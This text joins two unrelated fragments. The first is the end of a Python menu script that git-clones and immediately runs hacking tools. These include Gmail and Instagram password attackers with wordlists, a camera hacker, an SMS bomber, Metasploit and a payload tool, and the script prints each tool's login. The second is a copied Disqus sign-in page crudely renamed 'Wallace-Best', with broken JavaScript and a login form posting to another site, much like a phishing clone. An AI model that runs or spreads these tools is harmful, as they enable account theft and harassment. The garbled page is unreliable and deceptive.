$HOME && git clone https://github.com/lovehacker404/402") print (logo) love("\033[1;93mTool User Name :\033[1;95m BELLA ") love("\033[1;93mTool Password :\033[1;95m BELLA") time.sleep(5) os.system("cd $HOME/402 && python2 Cloningx-2-1.py") elif black =="F" or black =="f": clear() print(logo) os.system("rm -rf $HOME/blackhole") os.system("cd $HOME && git clone https://github.com/lovehacker404/blackhole") print (logo) love("\033[1;93mTool User Name :\033[1;95m Black ") love("\033[1;93mTool Password :\033[1;95m Mafia ") love("\033[1;93m :Target Attack : ") love("\033[1;93mPassword list :\033[1;95mlovehacker-2.txt ") time.sleep(5) os.system("cd $HOME/blackhole && python2 AsifJaved.py") elif black =="G" or black =="g": clear() print(logo) os.system("rm -rf $HOME/Spider") os.system("cd $HOME && git clone https://github.com/lovehacker404/Spider") print (logo) love("\033[1;91mCongratulations Cobra Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name SpiderMan Password lovehacker") time.sleep(5) os.system("cd $HOME/Spider && python2 SpiderMan.py") elif black =="H" or black =="h": clear() print(logo) os.system("rm -rf $HOME/KaliIndia") os.system("cd $HOME && git clone https://github.com/lovehacker404/KaliIndia") print (logo) love("\033[1;96mCongratulations BlackMafia Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name India Password lovehacker") time.sleep(5) os.system("cd $HOME/KaliIndia && python2 kalilinux.India.py") elif black =="I" or black =="i": clear() print(logo) os.system("rm -rf $HOME/BlackHat") os.system("cd $HOME && git clone https://github.com/lovehacker404/BlackHat") print (logo) love("\033[1;96mCongratulations BlackHat Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name BlackHat Password lovehacker") time.sleep(5) os.system("cd $HOME/BlackHat && python2 BlackHat.py") elif black =="J" or black =="j": clear() print(logo) print(logo) os.system("rm -rf $HOME/RedMoonNew") os.system("cd $HOME && git clone https://github.com/lovehacker404/RedMoonNew") print (logo) love("\033[1;91mCongratulations RedMoonNew Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;93mTool User Name\033[1;92m RedMoonNew\033[1;93m Password \033[1;92mlovehacker") time.sleep(6) os.system("cd $HOME/RedMoonNew && python2 lovehacker") elif black =="K" or black =="k": clear() print(logo) print(logo) os.system("rm -rf $HOME/lov3Hak3r") os.system("cd $HOME && git clone https://github.com/lovehacker404/lov3Hak3r") print (logo) love("\033[1;96mCongratulations BlackMafia Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/lov3Hak3r && python2 lovehacker.py") elif black =="L" or black =="l": clear() print(logo) print(logo) os.system("rm -rf $HOME/B4_BALOCH") os.system("cd $HOME && git clone https://github.com/shabirbaloch398/B4_BALOCH.git") print (logo) love("\033[1;93mCongratulations Cobra Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;95mTool Dont Have Username And Password Enjoy But Use 786786 Pass Or Username On My Tool Thanks") time.sleep(5) os.system("cd $HOME/Cobra && python2 Scorpion.py") elif black =="M" or black =="m": clear() print(logo) print(logo) os.system("rm -rf $HOME/attack911") os.system("cd $HOME && git clone https://github.com/shabirbaloch398/attack911.git") print (logo) love("\033[1;91mCongratulations attack911 Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;96mAdmin Panel Finder") time.sleep(5) os.system("cd $HOME/attack911 && python2 attack911.py") elif black =="N" or black =="n": clear() print(logo) print(logo) os.system("rm -rf $HOME/Attacker") os.system("cd $HOME && git clone https://github.com/shabirbaloch398/Attacker.git") print (logo) love("\033[1;96mCongratulations Attacker Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;92mBest Script") time.sleep(5) os.system("cd $HOME/Attacker && python2 B4.py") elif black =="O" or black =="o": clear() print(logo) print(logo) os.system("pkg install unstable-repo") os.system("pkg install metasploit") os.system("pkg install msfconsole") os.system("rm -rf $HOME/Black_Mafia") os.system("cd $HOME && git clone https://github.com/lovehacker404/Black_Mafia") print (logo) love("\033[1;93mCongratulations Black_Mafia Payload Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/Black_Mafia && python3 Black_Mafia.py") elif black =="P" or black =="p": clear() print(logo) print(logo) os.system("rm -rf $HOME/Pak") os.system("cd $HOME && git clone https://github.com/lovehacker404/Pak") print (logo) love("\033[1;96mCongratulations CamHacker Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("\033[1;92mEducational Perpose only") time.sleep(2) os.system("cd $HOME/Pak && python lovehacker.py") elif black =="Q" or black =="q": clear() print(logo) os.system("rm -rf $HOME/Compile") os.system("cd $HOME && git clone https://github.com/lovehacker404/Compile") print (logo) love("\033[1;93mCongratulations Tool Has Been Update Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/Compile && python2 lovehacker.py") elif black =="R" or black =="r": clear() print(logo) print(logo) os.system("pip2 install bs4") os.system("rm -rf $HOME/Insta") os.system("cd $HOME && git clone https://github.com/lovehacker404/Insta") print (logo) love("\033[1;93mCongratulations Tool Has Been Update Successfully") love("Now you can open this tool as usual") love("Passwordlist No1 (wordlist.txt) No2 (BlackMafia.txt)") time.sleep(5) os.system("cd $HOME/Insta && python2 lovehacker.py") elif black =="S" or black =="s": clear() print(logo) os.system("rm -rf $HOME/TimePass") os.system("cd $HOME && git clone https://github.com/lovehacker404/TimePass") print (logo) love("\033[1;93mCongratulations Tool Has Been Update Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/TimePass && python2 lovehacker.py") elif black =="T" or black =="t": clear() print(logo) print(logo) os.system("rm -rf $HOME/GmailAttack") os.system("cd $HOME && git clone https://github.com/lovehacker404/GmailAttack") print (logo) love("\033[1;96mCongratulations GmailAttack Tool Has Been Installed Successfully") love("Now you can open this tool as usual") love("plz wi8 Password list name (lovehacker-1.txt) ") time.sleep(6) os.system("cd $HOME/GmailAttack && python2 lovehacker.py") elif black =="U" or black =="u": clear() print(logo) print(logo) os.system("rm -rf $HOME/Logo") os.system("cd $HOME && git clone https://github.com/lovehacker404/Logo") print (logo) love("\033[1;96mCongratulations BlackMafia Logo Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/Logo && bash lovehacker.sh") elif black =="V" or black =="v": clear() print(logo) os.system("rm -rf $HOME/sms") os.system("cd $HOME && git clone https://github.com/lovehacker404/sms") print (logo) love("\033[1;96mCongratulations BlackMafia TBomb Tool Has Been Installed Successfully") love("Now you can open this tool as usual") time.sleep(5) os.system("cd $HOME/sms && bash BlackMafia.sh") elif black =="W" or black =="w": clear() print(logo) love("Welcome To B4 BALOCH M4 MASTER WhatsApp Group") time.sleep(5) os.system('xdg-open https://chat.whatsapp.com/BcmyQPBz6lz3t6oVN8wLoi') elif black =="X" or black =="x": clear() print(logo) love("Welcome To B4 BALOCH 2nd Tool") love("BlackMafia 2nd Tool Start") love("Coming Soon New Update") time.sleep(5) os.system("rm -rf $HOME/Dragon404") os.system("cd $HOME && git clone https://github.com/lovehacker404/Dragon404") print (logo) love("\033[1;96mCongratulations Dragon404 Tool Has Been Installed Successfully") love("Wellcom to Dragon404 tool") os.system("cd $HOME/Dragon404 && python2 lovehacker.py") elif black =="Y" or black =="y": clear() print(logo) os.system("rm -rf $HOME/World") os.system("pip install lolcat") os.system("cd $HOME && git clone https://github.com/lovehacker404/World") print (logo) love("\033[1;96mCongratulations BlackMafia Tool Has Been Update Successfully") time.sleep(5) os.system("cd $HOME/World && python2 Cloning.py") elif black =="Z" or black =="z": os.system("exit") if __name__ == "__main__": menu()
Wallace-Best / Best<!DOCTYPE html>Wallace-Best <html lang="en-us"> <head> <link rel="node" href="//a.wallace-bestcdn.com/1391808583/img/favicon16-32.ico" type="image/vnd.microsoft.icon"> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <meta http-equiv="Content-Language" content="en-us"> <meta name="keywords" content="Wallace Best, wallace-best.com, comments, blog, blogs, discussion"> <meta name="description" content="Wallace Best's Network is a global comment system that improves discussion on websites and connects conversations across the web."> <meta name="world" value="notranslate" /> <title> WB Admin | Sign-in </title> <script type="text/javascript" charset="utf-8"> document.domain = 'wallace-best.com'; if (window.context === undefined) { var context = {}; } context.wallace-bestUrl = 'https://wallace-best.com'; context.wallace-bestDomain = 'wallace-best.com'; context.mediaUrl = '//a.wallace-bestcdn.com/1391808583/'; context.uploadsUrl = '//a.wallace.bestcdn.com/uploads'; context.sslUploadsUrl = '//a.wallace-bestcdn.com/uploads'; context.loginUrl = 'https://wallace-best.com/profile/login/'; context.signupUrl = 'https://wallace-best.com/profile/signup/'; context.apiUrl = '//wallace-best.com/api/3.0/'; context.apiPublicKey = 'Y1S1wGIzdc63qnZ5rhHfjqEABGA4ZTDncauWFFWWTUBqkmLjdxloTb7ilhGnZ7z1'; context.forum = null; context.adminUrl = 'https://wallace-best.com'; context.switches = { "explore_dashboard_2":false, "partitions:api:posts/countPendin":false, "use_rs_paginator_30m":false, "inline_defaults_css":false, "evm_publisher_reports":true, "postsort":false, "enable_entropy_filtering":false, "exp_newnav":true, "organic_discovery_experiments":false, "realtime_for_oldies":false, "firehose_push":true, "website_addons":true, "addons_ab_test":false, "firehose_gnip_http":true, "community_icon":true, "pub_reporting_v2":true, "pd_thumbnail_settings":true, "algorithm_experiments":false, "discovery_log_to_browser":false, "is_last_modified":true, "embed_category_display":false, "partitions:api:forums/listPosts":false, "shardpost":true, "limit_get_posts_days_30d":true, "next_realtime_anim_disabled":false, "juggler_thread_onReady":true, "firehose_realertime":false, "loginas":true, "juggler_enabled":true, "user_onboarding":true, "website_follow_redirect":true, "raven_js":true, "shardpost:index":true, "filter_ads_by_country":true, "new_sort_paginator":true, "threadident_reads":true, "new_media":true, "enable_link_affiliation":true, "show_unapproved":false, "onboarding_profile_editing":true, "partitions":true, "dotcom_marketing":true, "discovery_analytics":true, "exp_newnav_disable":true, "new_community_nav_embed":true, "discussions_tab":true, "embed_less_refactor":false, "use_rs_paginator_60m":true, "embed_labs":false, "auto_flat_sort":false, "disable_moderate_ascending":true, "disable_realtime":true, "partitions:api":true, "digest_thread_votes":true, "shardpost:paginator":false, "debug_js":false, "exp_mn2":false, "limit_get_posts_days_7d":true, "pinnedcomments":false, "use_queue_b":true, "new_embed_profile":true, "next_track_links":true, "postsort:paginator":true, "simple_signup":true, "static_styles":true, "stats":true, "discovery_next":true, "override_skip_syslog":false, "show_captcha_on_links":true, "exp_mn2_force":false, "next_dragdrop_nag":true, "firehose_gnip":true, "firehose_pubsub":true, "rt_go_backend":false, "dark_jester":true, "next_logging":false, "surveyNotice":false, "tipalti_payments":true, "default_trusted_domain":false, "disqus_trends":false, "log_large_querysets":false, "phoenix":false, "exp_autoonboard":true, "lazy_embed":false, "explore_dashboard":true, "partitions:api:posts/list":true, "support_contact_with_frames":true, "use_rs_paginator_5m":true, "limit_textdigger":true, "embed_redirect":false, "logging":false, "exp_mn2_disable":true, "aggressive_embed_cache":true, "dashboard_client":false, "safety_levels_enabled":true, "partitions:api:categories/listPo":false, "next_show_new_media":true, "next_realtime_cap":false, "next_discard_low_rep":true, "next_streaming_realtime":false, "partitions:api:threads/listPosts":false, "textdigger_crawler":true }; context.urlMap = { 'signup': 'https://wallace-best.com/admin/signup/', 'dashboard': 'http://wallace-best.com/dashboard/', 'admin': 'http://wallace-best.com/admin/', 'logout': '//wallace-best.com/logout/', 'home': 'https://wallace-best.com', 'for_websites': 'http://wallace-best.com/websites/', 'login': 'https://wallace-best.com/profile/login/' }; context.navMap = { 'signup': '', 'dashboard': '', 'admin': '', 'addons': '' }; </script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/auth_context.js" type="text/javascript" charset="utf-8"></script> <link rel="stylesheet" href="//a.wallace-bestdn.com/1391808583/build/css/b31fb2fa3905.css" type="text/css" /> <script type="text/javascript" src="//a.wallace-bestcdn.com/1391808583/build/js/5ee01877d131.js"></script> <script> // // shared/foundation.js // // This file contains the absolute minimum code necessary in order // to create a new application in the WALLACE-BEST namespace. // // You should load this file *before* anything that modifies the WALLACE-BEST global. // /*jshint browser:true, undef:true, strict:true, expr:true, white:true */ /*global wallace-best:true */ var WALLACE-BEST = (function (window, undefined) { "use strict"; var wallace-best = window.wallace-best || {}; // Exception thrown from wallace-best.assert method on failure wallace-best.AssertionError = function (message) { this.message = message; }; wallace-best.AssertionError.prototype.toString = function () { return 'Assertion Error: ' + (this.message || '[no message]'); }; // Raises a wallace-best.AssertionError if value is falsy wallace-best.assert = function (value, message, soft) { if (value) return; if (soft) window.console && window.console.log("DISQUS assertion failed: " + message); else throw new wallace-best.AssertionError(message); }; // Functions to clean attached modules (used by define and cleanup) var cleanFuncs = []; // Attaches a new public interface (module) to the wallace-best namespace. // For example, if wallace-best object is { 'a': { 'b': {} } }: // // wallace-best.define('a.b.c', function () { return { 'd': 'hello' }; }); will transform it into // -> { 'a': { 'b': { 'c': { 'd' : hello' }}}} // // and wallace-best.define('a', function () { return { 'x': 'world' }; }); will transform it into // -> { 'a': { 'b': {}}, 'x': 'world' } // // Attach modules to wallace-best using only this function. wallace-best.define = function (name, fn) { /*jshint loopfunc:true */ if (typeof name === 'function') { fn = name; name = ''; } var parts = name.split('.'); var part = parts.shift(); var cur = wallace-best; var exports = (fn || function () { return {}; }).call({ overwrites: function (obj) { obj.__overwrites__ = true; return obj; } }, window); while (part) { cur = (cur[part] ? cur[part] : cur[part] = {}); part = parts.shift(); } for (var key in exports) { if (!exports.hasOwnProperty(key)) continue; /*jshint eqnull:true */ if (!exports.__overwrites__ && cur[key] !== null) { wallace-best.assert(!cur.hasOwnProperty(key), 'Unsafe attempt to redefine existing module: ' + key, true /* soft assertion */); } cur[key] = exports[key]; cleanFuncs.push(function (cur, key) { return function () { delete cur[key]; }; }(cur, key)); } return cur; }; // Alias for wallace-best.define for the sake of semantics. // You should use it when you need to get a reference to another // wallace-best module before that module is defined: // // var collections = wallace-best.use('lounge.collections'); // // wallace-best.use is a single argument function because we don't // want to encourage people to use it instead of wallace-best.define. wallace-best.use = function (name) { return wallace-best.define(name); }; wallace-best.cleanup = function () { for (var i = 0; i < cleanFuncs.length; i++) { cleanFuncs[i](); } }; return wallace-best; })(window); /*jshint expr:true, undef:true, strict:true, white:true, browser:true */ /*global wallace-best:false*/ // // shared/corefuncs.js // wallace-best.define(function (window, undefined) { "use strict"; var wallace-best = window.wallace-best; var document = window.document; var head = document.getElementsByTagName('head')[0] || document.body; var jobs = { running: false, timer: null, queue: [] }; var uid = 0; // Taken from _.uniqueId wallace-best.getUid = function (prefix) { var id = ++uid + ''; return prefix ? prefix + id : id; }; /* Defers func() execution until cond() is true */ wallace-best.defer = function (cond, func) { function beat() { /*jshint boss:true */ var queue = jobs.queue; if (queue.length === 0) { jobs.running = false; clearInterval(jobs.timer); } for (var i = 0, pair; pair = queue[i]; i++) { if (pair[0]()) { queue.splice(i--, 1); pair[1](); } } } jobs.queue.push([cond, func]); beat(); if (!jobs.running) { jobs.running = true; jobs.timer = setInterval(beat, 100); } }; wallace-best.isOwn = function (obj, key) { // The object.hasOwnProperty method fails when the // property under consideration is named 'hasOwnProperty'. return Object.prototype.hasOwnProperty.call(obj, key); }; wallace-best.isString = function (str) { return Object.prototype.toString.call(str) === "[object String]"; }; /* * Iterates over an object or a collection and calls a callback * function with each item as a parameter. */ wallace-best.each = function (collection, callback) { var length = collection.length, forEach = Array.prototype.forEach; if (!isNaN(length)) { // Treat collection as an array if (forEach) { forEach.call(collection, callback); } else { for (var i = 0; i < length; i++) { callback(collection[i], i, collection); } } } else { // Treat collection as an object for (var key in collection) { if (wallace-best.isOwn(collection, key)) { callback(collection[key], key, collection); } } } }; // Borrowed from underscore wallace-best.extend = function (obj) { wallace-best.each(Array.prototype.slice.call(arguments, 1), function (source) { for (var prop in source) { obj[prop] = source[prop]; } }); return obj; }; wallace-best.serializeArgs = function (params) { var pcs = []; wallace-best.each(params, function (val, key) { if (val !== undefined) { pcs.push(key + (val !== null ? '=' + encodeURIComponent(val) : '')); } }); return pcs.join('&'); }; wallace-best.serialize = function (url, params, nocache) { if (params) { url += (~url.indexOf('?') ? (url.charAt(url.length - 1) == '&' ? '': '&') : '?'); url += wallace-best.serializeArgs(params); } if (nocache) { var ncp = {}; ncp[(new Date()).getTime()] = null; return wallace-best.serialize(url, ncp); } var len = url.length; return (url.charAt(len - 1) == "&" ? url.slice(0, len - 1) : url); }; var TIMEOUT_DURATION = 2e4; // 20 seconds var addEvent, removeEvent; // select the correct event listener function. all of our supported // browsers will use one of these if ('addEventListener' in window) { addEvent = function (node, event, handler) { node.addEventListener(event, handler, false); }; removeEvent = function (node, event, handler) { node.removeEventListener(event, handler, false); }; } else { addEvent = function (node, event, handler) { node.attachEvent('on' + event, handler); }; removeEvent = function (node, event, handler) { node.detachEvent('on' + event, handler); }; } wallace-best.require = function (url, params, nocache, success, failure) { var script = document.createElement('script'); var evName = script.addEventListener ? 'load' : 'readystatechange'; var timeout = null; script.src = wallace-best.serialize(url, params, nocache); script.async = true; script.charset = 'UTF-8'; function handler(ev) { ev = ev || window.event; if (!ev.target) { ev.target = ev.srcElement; } if (ev.type != 'load' && !/^(complete|loaded)$/.test(ev.target.readyState)) { return; // Not ready yet } if (success) { success(); } if (timeout) { clearTimeout(timeout); } removeEvent(ev.target, evName, handler); } if (success || failure) { addEvent(script, evName, handler); } if (failure) { timeout = setTimeout(function () { failure(); }, TIMEOUT_DURATION); } head.appendChild(script); return wallace-best; }; wallace-best.requireStylesheet = function (url, params, nocache) { var link = document.createElement('link'); link.rel = 'stylesheet'; link.type = 'text/css'; link.href = wallace-best.serialize(url, params, nocache); head.appendChild(link); return wallace-best; }; wallace-best.requireSet = function (urls, nocache, callback) { var remaining = urls.length; wallace-best.each(urls, function (url) { wallace-best.require(url, {}, nocache, function () { if (--remaining === 0) { callback(); } }); }); }; wallace-best.injectCss = function (css) { var style = document.createElement('style'); style.setAttribute('type', 'text/css'); // Make inline CSS more readable by splitting each rule onto a separate line css = css.replace(/\}/g, "}\n"); if (window.location.href.match(/^https/)) css = css.replace(/http:\/\//g, 'https://'); if (style.styleSheet) { // Internet Explorer only style.styleSheet.cssText = css; } else { style.appendChild(document.createTextNode(css)); } head.appendChild(style); }; wallace-best.isString = function (val) { return Object.prototype.toString.call(val) === '[object String]'; }; }); /*jshint boss:true*/ /*global wallace-best */ wallace-best.define('Events', function (window, undefined) { "use strict"; // Returns a function that will be executed at most one time, no matter how // often you call it. Useful for lazy initialization. var once = function (func) { var ran = false, memo; return function () { if (ran) return memo; ran = true; memo = func.apply(this, arguments); func = null; return memo; }; }; var has = wallace-best.isOwn; var keys = Object.keys || function (obj) { if (obj !== Object(obj)) throw new TypeError('Invalid object'); var keys = []; for (var key in obj) if (has(obj, key)) keys[keys.length] = key; return keys; }; var slice = [].slice; // Backbone.Events // --------------- // A module that can be mixed in to *any object* in order to provide it with // custom events. You may bind with `on` or remove with `off` callback // functions to an event; `trigger`-ing an event fires all callbacks in // succession. // // var object = {}; // _.extend(object, Backbone.Events); // object.on('expand', function(){ alert('expanded'); }); // object.trigger('expand'); // var Events = { // Bind an event to a `callback` function. Passing `"all"` will bind // the callback to all events fired. on: function (name, callback, context) { if (!eventsApi(this, 'on', name, [callback, context]) || !callback) return this; this._events = this._events || {}; var events = this._events[name] || (this._events[name] = []); events.push({callback: callback, context: context, ctx: context || this}); return this; }, // Bind an event to only be triggered a single time. After the first time // the callback is invoked, it will be removed. once: function (name, callback, context) { if (!eventsApi(this, 'once', name, [callback, context]) || !callback) return this; var self = this; var onced = once(function () { self.off(name, onced); callback.apply(this, arguments); }); onced._callback = callback; return this.on(name, onced, context); }, // Remove one or many callbacks. If `context` is null, removes all // callbacks with that function. If `callback` is null, removes all // callbacks for the event. If `name` is null, removes all bound // callbacks for all events. off: function (name, callback, context) { var retain, ev, events, names, i, l, j, k; if (!this._events || !eventsApi(this, 'off', name, [callback, context])) return this; if (!name && !callback && !context) { this._events = {}; return this; } names = name ? [name] : keys(this._events); for (i = 0, l = names.length; i < l; i++) { name = names[i]; if (events = this._events[name]) { this._events[name] = retain = []; if (callback || context) { for (j = 0, k = events.length; j < k; j++) { ev = events[j]; if ((callback && callback !== ev.callback && callback !== ev.callback._callback) || (context && context !== ev.context)) { retain.push(ev); } } } if (!retain.length) delete this._events[name]; } } return this; }, // Trigger one or many events, firing all bound callbacks. Callbacks are // passed the same arguments as `trigger` is, apart from the event name // (unless you're listening on `"all"`, which will cause your callback to // receive the true name of the event as the first argument). trigger: function (name) { if (!this._events) return this; var args = slice.call(arguments, 1); if (!eventsApi(this, 'trigger', name, args)) return this; var events = this._events[name]; var allEvents = this._events.all; if (events) triggerEvents(events, args); if (allEvents) triggerEvents(allEvents, arguments); return this; }, // Tell this object to stop listening to either specific events ... or // to every object it's currently listening to. stopListening: function (obj, name, callback) { var listeners = this._listeners; if (!listeners) return this; var deleteListener = !name && !callback; if (typeof name === 'object') callback = this; if (obj) (listeners = {})[obj._listenerId] = obj; for (var id in listeners) { listeners[id].off(name, callback, this); if (deleteListener) delete this._listeners[id]; } return this; } }; // Regular expression used to split event strings. var eventSplitter = /\s+/; // Implement fancy features of the Events API such as multiple event // names `"change blur"` and jQuery-style event maps `{change: action}` // in terms of the existing API. var eventsApi = function (obj, action, name, rest) { if (!name) return true; // Handle event maps. if (typeof name === 'object') { for (var key in name) { obj[action].apply(obj, [key, name[key]].concat(rest)); } return false; } // Handle space separated event names. if (eventSplitter.test(name)) { var names = name.split(eventSplitter); for (var i = 0, l = names.length; i < l; i++) { obj[action].apply(obj, [names[i]].concat(rest)); } return false; } return true; }; // A difficult-to-believe, but optimized internal dispatch function for // triggering events. Tries to keep the usual cases speedy (most internal // Backbone events have 3 arguments). var triggerEvents = function (events, args) { var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2]; switch (args.length) { case 0: while (++i < l) { (ev = events[i]).callback.call(ev.ctx); } return; case 1: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1); } return; case 2: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2); } return; case 3: while (++i < l) { (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); } return; default: while (++i < l) { (ev = events[i]).callback.apply(ev.ctx, args); } } }; var listenMethods = {listenTo: 'on', listenToOnce: 'once'}; // Inversion-of-control versions of `on` and `once`. Tell *this* object to // listen to an event in another object ... keeping track of what it's // listening to. wallace-best.each(listenMethods, function (implementation, method) { Events[method] = function (obj, name, callback) { var listeners = this._listeners || (this._listeners = {}); var id = obj._listenerId || (obj._listenerId = wallace-best.getUid('l')); listeners[id] = obj; if (typeof name === 'object') callback = this; obj[implementation](name, callback, this); return this; }; }); // Aliases for backwards compatibility. Events.bind = Events.on; Events.unbind = Events.off; return Events; }); // used for /follow/ /login/ /signup/ social oauth dialogs // faking the bus wallace-best.use('Bus'); _.extend(DISQUS.Bus, wallace-best.Events); </script> <script src="//a.disquscdn.com/1391808583/js/src/global.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/ga_events.js" charset="utf-8"></script> <script src="//a.disquscdn.com/1391808583/js/src/messagesx.js"></script> <!-- start Mixpanel --><script type="text/javascript">(function(e,b){if(!b.__SV){var a,f,i,g;window.mixpanel=b;a=e.createElement("script");a.type="text/javascript";a.async=!0;a.src=("https:"===e.location.protocol?"https:":"http:")+'//cdn.mxpnl.com/libs/mixpanel-2.2.min.js';f=e.getElementsByTagName("script")[0];f.parentNode.insertBefore(a,f);b._i=[];b.init=function(a,e,d){function f(b,h){var a=h.split(".");2==a.length&&(b=b[a[0]],h=a[1]);b[h]=function(){b.push([h].concat(Array.prototype.slice.call(arguments,0)))}}var c=b;"undefined"!== typeof d?c=b[d]=[]:d="mixpanel";c.people=c.people||[];c.toString=function(b){var a="mixpanel";"mixpanel"!==d&&(a+="."+d);b||(a+=" (stub)");return a};c.people.toString=function(){return c.toString(1)+".people (stub)"};i="disable track track_pageview track_links track_forms register register_once alias unregister identify name_tag set_config people.set people.set_once people.increment people.append people.track_charge people.clear_charges people.delete_user".split(" ");for(g=0;g<i.length;g++)f(c,i[g]); b._i.push([a,e,d])};b.__SV=1.2}})(document,window.mixpanel||[]); mixpanel.init('17b27902cd9da8972af8a3c43850fa5f', { track_pageview: false, debug: false }); </script><!-- end Mixpanel --> <script src="//a.disquscdn.com/1391808583//js/src/funnelcake.js"></script> <script type="text/javascript"> if (window.AB_TESTS === undefined) { var AB_TESTS = {}; } $(function() { if (context.auth.username !== undefined) { disqus.messagesx.init(context.auth.username); } }); </script> <script type="text/javascript" charset="utf-8"> // Global tests $(document).ready(function() { $('a[rel*=facebox]').facebox(); }); </script> <script type="text/x-underscore-template" data-template-name="global-nav"> <% var has_custom_avatar = data.avatar_url && data.avatar_url.indexOf('noavatar') < 0; %> <% var has_custom_username = data.username && data.username.indexOf('disqus_') < 0; %> <% if (data.username) { %> <li class="<%= data.forWebsitesClasses || '' %>" data-analytics="header for websites"><a href="<%= data.urlMap.for_websites %>">For Websites</a></li> <li data-analytics="header dashboard"><a href="<%= data.urlMap.dashboard %>">Dashboard</a></li> <% if (data.has_forums) { %> <li class="admin<% if (has_custom_avatar || !has_custom_username) { %> avatar-menu-admin<% } %>" data-analytics="header admin"><a href="<%= data.urlMap.admin %>">Admin</a></li> <% } %> <li class="user-dropdown dropdown-toggle<% if (has_custom_avatar || !has_custom_username) { %> avatar-menu<% } else { %> username-menu<% } %>" data-analytics="header username dropdown" data-floater-marker="<% if (has_custom_avatar || !has_custom_username) { %>square<% } %>"> <a href="<%= data.urlMap.home %>/<%= data.username %>/"> <% if (has_custom_avatar) { %> <img src="<%= data.avatar_url %>" class="avatar"> <% } else if (has_custom_username) { %> <%= data.username %> <% } else { %> <img src="<%= data.avatar_url %>" class="avatar"> <% } %> <span class="caret"></span> </a> <ul class="clearfix dropdown"> <li data-analytics="header view profile"><a href="<%= data.urlMap.home %>/<%= data.username %>/">View Profile</a></li> <li class="edit-profile js-edit-profile" data-analytics="header edit profile"><a href="<%= data.urlMap.dashboard %>#account">Edit Profile</a></li> <li class="logout" data-analytics="header logout"><a href="<%= data.urlMap.logout %>">Logout</a></li> </ul> </li> <% } else { %> <li class="<%= data.forWebsitesClasses || '' %>" data-analytics="header for websites"><a href="<%= data.urlMap.for_websites %>">For Websites</a></li> <li class="link-login" data-analytics="header login"><a href="<%= data.urlMap.login %>?next=<%= encodeURIComponent(document.location.href) %>">Log in</a></li> <% } %> </script> <!--[if lte IE 7]> <script src="//a.wallace-bestdn.com/1391808583/js/src/border_box_model.js"></script> <![endif]--> <!--[if lte IE 8]> <script src="//cdnjs.cloudflare.com/ajax/libs/modernizr/2.5.3/modernizr.min.js"></script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/selectivizr.js"></script> <![endif]--> <meta name="viewport" content="width=device-width, user-scalable=no"> <meta name="apple-mobile-web-app-capable" content="yes"> <script type="text/javascript" charset="utf-8"> // Network tests $(document).ready(function() { $('a[rel*=facebox]').facebox(); }); </script> </head> <body class=""> <header class="global-header"> <div> <nav class="global-nav"> <a href="/" class="logo" data-analytics="site logo"><img src="//a.wallace-bestcdn.com/1391808583/img/disqus-logo-alt-hidpi.png" width="150" alt="wallace-best" title="wallace-best - Discover your community"/></a> </nav> </div> </header> <section class="login"> <form id="login-form" action="https://disqus.com/profile/login/?next=http://wallace-best.wallace-best.com/admin/moderate/" method="post" accept-charset="utf-8"> <h1>Sign in to continue</h1> <input type="text" name="username" tabindex="20" placeholder="Email or Username" value=""/> <div class="password-container"> <input type="password" name="password" tabindex="21" placeholder="Password" /> <span>(<a href="https://wallace-best.com/forgot/">forgot?</a>)</span> </div> <button type="submit" class="button submit" data-analytics="sign-in">Log in to wallace-best</button> <span class="create-account"> <a href="https://wallace-best.com/profile/signup/?next=http%3A//wallace-best.wallace-best.com/admin/moderate/" data-analytics="create-account"> Create an Account </a> </span> <h1 class="or-login">Alternatively, you can log in using:</h1> <div class="connect-options"> <button title="facebook" type="button" class="facebook-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/facebook.svg" alt="Facebook"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/facebook.png" alt="Facebook"> <![endif]--> </span> </button> <button title="twitter" type="button" class="twitter-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/twitter.svg" alt="Twitter"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/twitter.png" alt="Twitter"> <![endif]--> </span> </button> <button title="google" type="button" class="google-auth"> <span class="auth-container"> <img src="//a.wallace-bestdn.com/1391808583/img/icons/google.svg" alt="Google"> <!--[if lte IE 7]> <img src="//a.wallace-bestcdn.com/1391808583/img/icons/google.png" alt="Google"> <![endif]--> </span> </button> </div> </form> </section> <div class="get-disqus"> <a href="https://wallace-best.com/admin/signup/" data-analytics="get-disqus">Get wallace-best for your site</a> </div> <script> /*jshint undef:true, browser:true, maxlen:100, strict:true, expr:true, white:true */ // These must be global var _comscore, _gaq; (function (doc) { "use strict"; // Convert Django template variables to JS variables var debug = false, gaKey = '', gaPunt = '', gaCustomVars = { component: 'website', forum: '', version: 'v5' }, gaSlots = { component: 1, forum: 3, version: 4 }; /**/ gaKey = gaCustomVars.component == 'website' ? 'UA-1410476-16' : 'UA-1410476-6'; // Now start loading analytics services var s = doc.getElementsByTagName('script')[0], p = s.parentNode; var isSecure = doc.location.protocol == 'https:'; if (!debug) { _comscore = _comscore || []; // comScore // Load comScore _comscore.push({ c1: '7', c2: '10137436', c3: '1' }); var cs = document.createElement('script'); cs.async = true; cs.src 